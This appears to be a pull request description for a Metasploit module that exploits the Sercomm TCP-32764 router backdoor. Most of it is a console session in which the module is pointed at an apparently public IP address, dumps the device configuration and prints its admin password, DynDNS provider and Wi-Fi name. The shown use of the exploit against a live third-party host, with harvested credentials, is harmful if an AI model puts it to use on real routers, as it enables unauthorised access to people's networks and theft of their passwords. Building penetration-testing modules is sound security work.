Added module for Sercomm Network Device Backdoor Configuration Dump

I saw the awesome new backdoor in some Linksys and NetGear devices over at https://github.com/elvanderb/TCP-32764 and thought it could make some nice Metasploit modules. Here's a basic module to dump the configuration of the remote devices, which often contain useful passwords.

```
msf > use auxiliary/admin/sercomm/sercomm_dump_config
msf auxiliary(sercomm_dump_config) > set rhost 88.96.225.246
rhost => 88.96.225.246
msf auxiliary(sercomm_dump_config) > show options

Module options (auxiliary/admin/sercomm/sercomm_dump_config):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  88.96.225.246    yes       The target address
   RPORT  32764            yes       The target port

msf auxiliary(sercomm_dump_config) > exploit

[*] Attempting to connect to 88.96.225.246 to dump configuration.
[*] Router configuration dump stored in: /Users/mandreko/.msf4/loot/20140102204555_default_88.96.225.246_router.config_709777.txt
[*] HTTP Username: admin
[*] HTTP Password: haldlppw1
[*] DynDNS Provider: dyndns
[*] Wifi SSID: NETGEAR
[*] Auxiliary module execution completed
```